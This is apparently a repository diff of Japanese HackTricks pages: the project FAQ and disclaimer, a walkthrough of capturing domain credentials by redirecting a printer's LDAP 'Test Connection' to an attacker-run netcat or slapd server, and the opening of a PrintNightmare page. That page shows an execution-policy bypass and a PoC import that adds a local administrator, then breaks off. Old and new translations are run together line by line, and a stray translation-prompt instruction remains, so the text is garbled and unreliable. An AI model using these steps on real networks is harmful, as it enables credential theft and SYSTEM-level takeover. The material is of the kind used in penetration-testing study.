HackTricksには、HackTricksよりもはるかに少ないコンテンツを持つ他のブログのような迷惑な広告はありません。なぜなら、HackTricksは商業目的で作られていないからです HackTricksは商業目的で作成されたわけではないため、他のブログのように迷惑な広告で満たされていることはありません
{% hint style="danger" %} {% hint style="danger" %}
* **もしHackTricksのページが私のブログ投稿に基づいていて、参照されていない場合はどうすればいいですか?** * **HackTricksのページが私のブログ投稿に基づいているが、参照されていない場合はどうすればよいですか?**
{% endhint %} {% endhint %}
**大変申し訳ありません。これは起こるべきではありませんでした**。Githubのイシュー、Twitter、Discordなどでお知らせください。HackTricksのページのリンクとあなたのブログのリンクを教えていただければ、**確認してできるだけ早く追加します**。 **申し訳ありません。これは起こってはいけないことです**。HackTricksのページとあなたのブログのリンクをGithubの問題、Twitter、Discordなどで教えてください。**すぐに確認して追加します**。
{% hint style="danger" %} {% hint style="danger" %}
* **もしHackTricksに私のブログのコンテンツがあって、そこに載せたくない場合はどうすればいいですか?** * **HackTricksに私のブログのコンテンツが含まれていて、そこに掲載したくない場合はどうすればよいですか?**
{% endhint %} {% endhint %}
いずれにせよ、この場合HackTricksはあなたの**SEO**を向上させ、人々に**あなたのページをチェックするよう促している**ことを知ってください。それでもあなたのブログのコンテンツをHackTricksから削除してほしい場合はお知らせください。 いずれにせよ、この場合、HackTricksはあなたの**SEOを向上**させ、人々にあなたのページを**チェックすることを奨励**しています私たちには、彼らのページの一部がHackTricksに掲載されて以来、より多くの訪問を受けると言われていますあなたのブログのコンテンツをHackTricksから削除してほしい場合はお知らせください。
この要求をすると、私たちは確実に**あなたのブログへの全てのリンクを削除します**が、もし同じ技術が他のウェブページで見つかる場合は、情報源と説明を変更するだけで、実際のコンテンツはHackTricksからおそらく削除されないでしょうサイバーセキュリティでは、一般的に、同じ技術について話している複数の投稿が常にあります この要求を受けると、確実にあなたのブログへの**すべてのリンク**とそれに基づくすべてのコンテンツを削除します。
{% hint style="danger" %}
* **HackTricksにコピペされたコンテンツを見つけた場合はどうすればよいですか**
{% endhint %}
**残念ながら、この慣行はプロジェクトの始まりから**続いています。常に**元の著者にすべてのクレジットを与える**よう努めてきました。コピペされたコンテンツが含まれているページを見つけた場合(元のソースが参照されていても)、お知らせいただければ、それを**削除**したり、**リンクを残したり**、**書き直したり**します。
{% hint style="danger" %}
## ライセンス ## ライセンス
**著作権 © Carlos Polop 2023. 他に指定がある場合を除き(本にコピーされた外部情報は元の著者に帰属します)、**[**HACK TRICKS**](https://github.com/carlospolop/hacktricks) **上のCarlos Polopによるテキストは**[**Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)**ライセンスの下にあります。**\ **Copyright © Carlos Polop 2024. 他に指定されていない限り(書籍にコピーされた外部情報は元の著者に帰属します)、Carlos Polopによる** [**HACK TRICKS**](https://github.com/carlospolop/hacktricks) **のテキストは**[ **Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/) **の下でライセンスされています。**\
**商業目的で使用したい場合は、私に連絡してください。** **商業目的で使用したい場合は、連絡してください。**
## **免責事項** ## **免責事項**
{% hint style="danger" %} {% hint style="danger" %}
この本「HackTricks」は、教育および情報提供の目的のみを目的としています。この本の内容は「現状のまま」で提供され、著者および出版者は、この本に含まれる情報、製品、サービス、関連するグラフィックの完全性、正確性、信頼性、適合性、または利用可能性について、明示的または暗黙的ないかなる表明または保証も行いません。したがって、そのような情報に依存することは、厳密にあなた自身のリスクになります この書籍『HackTricks』は教育および情報提供を目的としています。この書籍内のコンテンツは「そのまま」提供され、著者および出版者は、この書籍に含まれる情報、製品、サービス、または関連するグラフィックの完全性、正確性、信頼性、適合性、または利用可能性について、明示または黙示を問わず、いかなる表明や保証も行いません。この情報に依存することは、あくまで自己の責任で行ってください
著者および出版者は、この本の使用、またはこの本に含まれる情報の使用に起因する、データまたは利益の損失を含むがこれに限定されない、いかなる損失または損害についても、いかなる場合においても責任を負いません。 著者および出版者は、この書籍の使用に起因する、または関連する、データの損失や利益の損失を含む、間接的または結果的な損害、またはいかなる損害も、いかなる場合においても責任を負いません。
さらに、この本に記述されている技術やヒントは、教育および情報提供の目的のみのために提供されており、違法または悪意のある活動には使用されるべきではありません。著者および出版者は、違法または不道徳な活動を支持または支援しません。この本に含まれる情報の使用は、ユーザー自身のリスクと裁量において行われます。 さらに、この書籍で説明されているテクニックやヒントは、教育および情報提供を目的として提供されており、違法または悪意のある活動に使用してはなりません。著者および出版者は、違法または倫理に反する活動を是認または支持するものではなく、この書籍に含まれる情報の使用はユーザー自身のリスクと裁量によるものです。
ユーザーは、この本に含まれる情報に基づいて行われるいかなる行動についても、単独で責任を負い、ここに記述されている技術やヒントを実装しようとする際には、常に専門家のアドバイスと支援を求めるべきです。 ユーザーは、この書籍に含まれる情報に基づいて行われるすべての行動について、自己の責任であり、ここに記載されているテクニックやヒントを実装しようとする際には常に専門家の助言と支援を求めるべきです。
この本を使用することにより、ユーザーは、この本の使用、またはこの本に含まれる情報の使用から生じる可能性のあるいかなる損害、損失、または害について、著者および出版者を一切の責任および責任から解放することに同意します。 この書籍を使用することで、ユーザーは、この書籍またはそれに含まれる情報の使用によって生じる可能性のあるいかなる損害、損失、または害から著者および出版者を一切免責し、責任を負わないことに同意します。
{% endhint %} {% endhint %}
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学びましょう</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!</strong></a></summary> <summary><strong>**[htARTEHackTricks AWS Red Team Expert**](https://training.hacktricks.xyz/courses/arte)**を通じてAWSハッキングをゼロからヒーローまで学ぶ**</summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksのスウェグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、Twitterで私を**フォロー**してください 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**をフォローする。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。 * **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリにPRを提出してください。**
</details> </details>

View file

@ -1,316 +1,58 @@
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。 * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックす * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する * **ハッキングトリックを共有する**には、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください
</details> </details>
インターネット上には、LDAPをデフォルト/弱いログオン資格情報で設定したプリンターの危険性を**強調するブログがいくつかあります**。\ インターネットには、**LDAPで構成されたプリンターをデフォルト/弱いログオン資格情報のままにしておく危険性を強調する**ブログがいくつかあります。\
これは、攻撃者がプリンターをだまして悪質なLDAPサーバーに対して認証させる通常は`nc -vv -l -p 444`で十分です)ことで、プリンターの**クリアテキストの資格情報をキャプチャする**可能性があるためです。 これは、攻撃者がプリンターを**ルージュLDAPサーバーに認証させる**(通常、`nc -vv -l -p 444`が十分)ことができ、プリンターの**クリアテキストでの資格情報をキャプチャ**する可能性があるためです。
また、いくつかのプリンターには**ユーザー名のログが含まれている**ことがあり、ドメインコントローラーから**すべてのユーザー名をダウンロードする**こともできるかもしれません また、いくつかのプリンターには**ユーザー名の記録**が含まれているか、ドメインコントローラーから**すべてのユーザー名をダウンロード**できる場合もあります
のような**機密情報**と一般的な**セキュリティの欠如**は、攻撃者にとってプリンターを非常に興味深いものにします。 れらの**機密情報**と**セキュリティの欠如**がプリンターを攻撃者にとって非常に興味深いものにしています。
このトピックに関するいくつかのブログ: このトピックに関するいくつかのブログ
* [https://www.ceos3c.com/hacking/obtaining-domain-credentials-printer-netcat/](https://www.ceos3c.com/hacking/obtaining-domain-credentials-printer-netcat/) * [https://www.ceos3c.com/hacking/obtaining-domain-credentials-printer-netcat/](https://www.ceos3c.com/hacking/obtaining-domain-credentials-printer-netcat/)
* [https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) * [https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
**以下の情報は** [**https://grimhacker.com/2018/03/09/just-a-printer/**](https://grimhacker.com/2018/03/09/just-a-printer/) **からコピーされました** ## プリンターの構成
- **場所**: LDAPサーバーリストは、`ネットワーク > LDAP設定 > LDAPの設定`で見つかります。
- **動作**: インターフェースは、資格情報を再入力せずにLDAPサーバーを変更できるようにしていますが、ユーザーの利便性を狙っており、セキュリティリスクを引き起こしています。
- **エクスプロイト**: エクスプロイトには、LDAPサーバーアドレスを制御されたマシンにリダイレクトし、「接続をテスト」機能を利用して資格情報をキャプチャする必要があります。
# LDAP設定 ## 資格情報のキャプチャ
Konica Minoltaのプリンターでは、LDAPサーバーに接続するための設定と資格情報を設定することができます。これらのデバイスの以前のファームウェアバージョンでは、ページのhtmlソースを読むだけで資格情報を回復できると聞いています。しかし、現在では資格情報はインターフェースで返されないため、もう少し努力が必要です。 ### 方法1: Netcatリスナー
単純なnetcatリスナーが十分かもしれません:
LDAPサーバーのリストは、Network > LDAP Setting > Setting Up LDAPの下にあります。 ```bash
インターフェースでは、接続に使用される資格情報を再入力せずにLDAPサーバーを変更することができます。これはよりシンプルなユーザーエクスペリエンスのためだと思われますが、攻撃者がプリンターのマスターからドメインへの足がかりを得る機会を与えています。
「Test Connection」機能を使って、LDAPサーバーのアドレス設定を自分たちがコントロールするマシンに再設定し、接続をトリガーすることができます。
# 情報を待ち受ける
## netcat
私よりも運が良ければ、シンプルなnetcatリスナーで済むかもしれません:
```
sudo nc -k -v -l -p 386 sudo nc -k -v -l -p 386
``` ```
以下は、ハッキング技術に関するハッキングの本の内容です。ファイル windows-hardening/active-directory-methodology/ad-information-in-printers.md の関連する英語テキストを日本語に翻訳し、まったく同じマークダウンおよびhtml構文を保持して翻訳を返してください。コード、ハッキング技術名、ハッキング用語、クラウド/SaaSプラットフォーム名Workspace、aws、gcpなど、'leak'という単語、ペネトレーションテスト、およびマークダウンタグなどの翻訳は行わないでください。また、翻訳とマークダウン構文以外の余分なものは追加しないでください。 ### 方法2: Slapdを使用した完全なLDAPサーバー
より信頼性の高いアプローチは、プリンターが資格情報のバインディングを試みる前に、ヌルバインドに続いてクエリを実行するため、完全なLDAPサーバーをセットアップすることです。
[\@_castleinthesky](https://twitter.com/_castleinthesky)によると、これはほとんどの場合に機能すると確信していますが、私はまだそのように簡単には解放されたことがありません。 1. **LDAPサーバーのセットアップ**: このガイドは、[このソース](https://www.server-world.info/en/note?os=Fedora_26&p=openldap)の手順に従います。
2. **主なステップ**:
## Slapd - OpenLDAPをインストールします。
- 管理者パスワードを構成します。
プリンターは最初にnull bindを試み、その後利用可能な情報を照会します。これらの操作が成功した場合にのみ、資格情報を使用してbindを試みます。そのため、完全なLDAPサーバーが必要であることがわかりました。 - 基本スキーマをインポートします。
- LDAP DBにドメイン名を設定します。
要件を満たすシンプルなldapサーバーを探しましたが、選択肢は限られているようでした。結局、open ldapサーバーを設定し、slapdデバッグサーバーサービスを使用して接続を受け入れ、プリンターからのメッセージを出力することにしました。もしもっと簡単な代替案をご存知であれば、教えていただけると嬉しいです - LDAP TLSを構成します。
3. **LDAPサービスの実行**: セットアップが完了すると、LDAPサービスは次のコマンドを使用して実行できます:
### インストール
(このセクションは、こちらのガイド [https://www.server-world.info/en/note?os=Fedora\_26\&p=openldap](https://www.server-world.info/en/note?os=Fedora_26&p=openldap) を若干修正したバージョンです)
root端末から
**OpenLDAPをインストールします。**
``` ```
#> dnf install -y install openldap-servers openldap-clients slapd -d 2
#> cp /usr/share/openldap-servers/DB_CONFIG.example /var/lib/ldap/DB_CONFIG
#> chown ldap. /var/lib/ldap/DB_CONFIG
```
**OpenLDAPの管理者パスワードを設定する間もなく再度必要になります**
```
#> slappasswd
New password:
Re-enter new password:
{SSHA}xxxxxxxxxxxxxxxxxxxxxxxx
``` ```
``` **詳細な手順については、元の[ソース](https://grimhacker.com/2018/03/09/just-a-printer/)を参照してください。**
#> vim chrootpw.ldif
# specify the password generated above for "olcRootPW" section
dn: olcDatabase={0}config,cn=config
changetype: modify
add: olcRootPW
olcRootPW: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx
```
``` # 参考文献
#> ldapadd -Y EXTERNAL -H ldapi:/// -f chrootpw.ldif * [https://grimhacker.com/2018/03/09/just-a-printer/](https://grimhacker.com/2018/03/09/just-a-printer/)
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
modifying entry "olcDatabase={0}config,cn=config"
```
**基本スキーマのインポート**
```
#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/cosine.ldif
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
adding new entry "cn=cosine,cn=schema,cn=config"
#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/nis.ldif
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
adding new entry "cn=nis,cn=schema,cn=config"
#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/inetorgperson.ldif
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
adding new entry "cn=inetorgperson,cn=schema,cn=config"
```
**LDAP DBにドメイン名を設定します。**
```
# generate directory manager's password
#> slappasswd
New password:
Re-enter new password:
{SSHA}xxxxxxxxxxxxxxxxxxxxxxxx
#> vim chdomain.ldif
# specify the password generated above for "olcRootPW" section
dn: olcDatabase={1}monitor,cn=config
changetype: modify
replace: olcAccess
olcAccess: {0}to * by dn.base="gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth"
read by dn.base="cn=Manager,dc=foo,dc=bar" read by * none
dn: olcDatabase={2}mdb,cn=config
changetype: modify
replace: olcSuffix
olcSuffix: dc=foo,dc=bar
dn: olcDatabase={2}mdb,cn=config
changetype: modify
replace: olcRootDN
olcRootDN: cn=Manager,dc=foo,dc=bar
dn: olcDatabase={2}mdb,cn=config
changetype: modify
add: olcRootPW
olcRootPW: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx
dn: olcDatabase={2}mdb,cn=config
changetype: modify
add: olcAccess
olcAccess: {0}to attrs=userPassword,shadowLastChange by
dn="cn=Manager,dc=foo,dc=bar" write by anonymous auth by self write by * none
olcAccess: {1}to dn.base="" by * read
olcAccess: {2}to * by dn="cn=Manager,dc=foo,dc=bar" write by * read
#> ldapmodify -Y EXTERNAL -H ldapi:/// -f chdomain.ldif
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
modifying entry "olcDatabase={1}monitor,cn=config"
modifying entry "olcDatabase={2}mdb,cn=config"
modifying entry "olcDatabase={2}mdb,cn=config"
modifying entry "olcDatabase={2}mdb,cn=config"
modifying entry "olcDatabase={2}mdb,cn=config"
#> vim basedomain.ldif
dn: dc=foo,dc=bar
objectClass: top
objectClass: dcObject
objectclass: organization
o: Foo Bar
dc: DC1
dn: cn=Manager,dc=foo,dc=bar
objectClass: organizationalRole
cn: Manager
description: Directory Manager
dn: ou=People,dc=foo,dc=bar
objectClass: organizationalUnit
ou: People
dn: ou=Group,dc=foo,dc=bar
objectClass: organizationalUnit
ou: Group
#> ldapadd -x -D cn=Manager,dc=foo,dc=bar -W -f basedomain.ldif
Enter LDAP Password: # directory manager's password
adding new entry "dc=foo,dc=bar"
adding new entry "cn=Manager,dc=foo,dc=bar"
adding new entry "ou=People,dc=foo,dc=bar"
adding new entry "ou=Group,dc=foo,dc=bar"
```
**LDAP TLSの設定**
**SSL証明書の作成**
```
#> cd /etc/pki/tls/certs
#> make server.key
umask 77 ; \
/usr/bin/openssl genrsa -aes128 2048 > server.key
Generating RSA private key, 2048 bit long modulus
...
...
e is 65537 (0x10001)
Enter pass phrase: # set passphrase
Verifying - Enter pass phrase: # confirm
# remove passphrase from private key
#> openssl rsa -in server.key -out server.key
Enter pass phrase for server.key: # input passphrase
writing RSA key
#> make server.csr
umask 77 ; \
/usr/bin/openssl req -utf8 -new -key server.key -out server.csr
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [XX]: # country
State or Province Name (full name) []: # state
Locality Name (eg, city) [Default City]: # city
Organization Name (eg, company) [Default Company Ltd]: # company
Organizational Unit Name (eg, section) []:Foo Bar # department
Common Name (eg, your name or your server's hostname) []:www.foo.bar # server's FQDN
Email Address []:xxx@foo.bar # admin email
Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []: # Enter
An optional company name []: # Enter
#> openssl x509 -in server.csr -out server.crt -req -signkey server.key -days 3650
Signature ok
subject=/C=/ST=/L=/O=/OU=Foo Bar/CN=dlp.foo.bar/emailAddress=xxx@roo.bar
Getting Private key
```
**SlapdのSSL/TLS設定**
```
#> cp /etc/pki/tls/certs/server.key \
/etc/pki/tls/certs/server.crt \
/etc/pki/tls/certs/ca-bundle.crt \
/etc/openldap/certs/
#> chown ldap. /etc/openldap/certs/server.key \
/etc/openldap/certs/server.crt \
/etc/openldap/certs/ca-bundle.crt
#> vim mod_ssl.ldif
# create new
dn: cn=config
changetype: modify
add: olcTLSCACertificateFile
olcTLSCACertificateFile: /etc/openldap/certs/ca-bundle.crt
-
replace: olcTLSCertificateFile
olcTLSCertificateFile: /etc/openldap/certs/server.crt
-
replace: olcTLSCertificateKeyFile
olcTLSCertificateKeyFile: /etc/openldap/certs/server.key
#> ldapmodify -Y EXTERNAL -H ldapi:/// -f mod_ssl.ldif
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
modifying entry "cn=config"
```
**ローカルファイアウォールを通じてLDAPを許可する**
```
firewall-cmd --add-service={ldap,ldaps}
```
## 報酬
LDAPサービスをインストールして設定した後、以下のコマンドで実行できます
> ```
> slapd -d 2
> ```
以下のスクリーンショットは、プリンターで接続テストを実行したときの出力の例を示しています。LDAPクライアントからサーバーへユーザー名とパスワードが渡されていることがわかります。
![slapd terminal output containing the username "MyUser" and password "MyPassword"](https://i1.wp.com/grimhacker.com/wp-content/uploads/2018/03/slapd\_output.png?resize=474%2C163\&ssl=1)
# どれほど悪いことが起こり得るのか?
これは設定されているクレデンシャルに大きく依存します。
最小権限の原則が守られている場合、アクティブディレクトリの特定の要素に対して読み取りアクセスのみを得るかもしれません。これはしばしば価値があり、その情報を使用してさらに正確な攻撃を策定することができます。
通常、ドメインユーザーグループのアカウントを取得する可能性が高く、これにより機密情報へのアクセスが可能になったり、他の攻撃のための事前認証が形成されることがあります。
あるいは、私のように、LDAPサーバーを設定する報酬として、ドメイン管理者アカウントを銀の盆に乗せて手渡されるかもしれません。
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)で<strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksにあなたの**会社を広告したい、または**HackTricksをPDFでダウンロード**したい場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。
* **HackTricks**の[**githubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有する。
</details>

View file

@ -4,103 +4,24 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* サイバーセキュリティ会社で働いていますか? HackTricksであなたの会社を宣伝したいですかまたは、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、当社の独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクション
* [**公式のPEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください** * **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする[🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。
* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** * **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details> </details>
**このページは**[**https://academy.hackthebox.com/module/67/section/627**](https://academy.hackthebox.com/module/67/section/627)**からコピーされました。** **2024年のPrintNightmareに関する素晴らしいブログポストをチェックしてください[https://www.hackingarticles.in/understanding-printnightmare-vulnerability/](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)**
`CVE-2021-1675/CVE-2021-34527 PrintNightmare`は、リモート印刷とドライバのインストールを許可するために使用される[RpcAddPrinterDriver](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-rprn/f23a7519-1c77-4069-9ace-a6d8eae47c22)の欠陥です。\
この機能は、通常、組み込みの管理者グループおよびプリントオペレーターのユーザーがエンドユーザーのマシンにリモートでプリンタードライバをインストールする必要がある場合に予約されている、Windows特権`SeLoadDriverPrivilege`を持つユーザーにドライバを追加する機能を提供することを意図しています。
この欠陥により、**認証済みのユーザーは特権を持たなくても印刷ドライバを追加**できるようになり、影響を受けるシステムのいずれにおいても、攻撃者はシステム全体で**SYSTEMとしてリモートでコードを実行**することができます。この欠陥は、**サポートされているWindowsのすべてのバージョンに影響**を与えます。また、**Print Spooler**はデフォルトで**ドメインコントローラ**、Windows 7および10で実行され、Windowsサーバーでもよく有効にされているため、これは大規模な攻撃対象となります。そのため、「ナイトメア」と呼ばれています。
Microsoftは最初に問題を修正しないパッチをリリースしました早期のガイダンスではSpoolerサービスを無効にすることが推奨されていましたが、多くの組織には実用的ではありません。しかし、2021年7月に[パッチ](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527)と、特定のレジストリ設定が`0`に設定されているか未定義であることを確認するためのガイダンスをリリースしました。
この脆弱性が公開されると、PoCのエクスプロイトが比較的迅速にリリースされました。[@cube0x0](https://twitter.com/cube0x0)による[**このバージョン**](https://github.com/cube0x0/CVE-2021-1675)は、修正されたImpacketの変更バージョンを使用して、リモートまたはローカルで悪意のあるDLLを実行するために使用できます。このリポジトリには、**C#の実装**も含まれています。\
この[**PowerShellの実装**](https://github.com/calebstewart/CVE-2021-1675)は、クイックなローカル特権昇格に使用できます。デフォルトでは、このスクリプトは新しいローカル管理者ユーザーを追加しますが、ローカル管理者ユーザーの追加がスコープ外の場合は、逆シェルなどを取得するためにカスタムDLLを指定することもできます。
### **Spoolerサービスの確認**
次のコマンドを使用して、Spoolerサービスが実行されているかどうかを簡単に確認できます。実行されていない場合、"パスが存在しません"というエラーが表示されます。
```
PS C:\htb> ls \\localhost\pipe\spoolss
Directory: \\localhost\pipe
Mode LastWriteTime Length Name
---- ------------- ------ ----
spoolss
```
### **PrintNightmare PowerShell PoCを使用してローカル管理者を追加する**
まず、ターゲットホストで実行ポリシーを[バイパス](https://www.netspi.com/blog/technical/network-penetration-testing/15-ways-to-bypass-the-powershell-execution-policy/)します。
```
PS C:\htb> Set-ExecutionPolicy Bypass -Scope Process
Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic at
https:/go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"): A
```
今、PowerShellスクリプトをインポートして、新しいローカル管理者ユーザーを追加することができます。
```powershell
PS C:\htb> Import-Module .\CVE-2021-1675.ps1
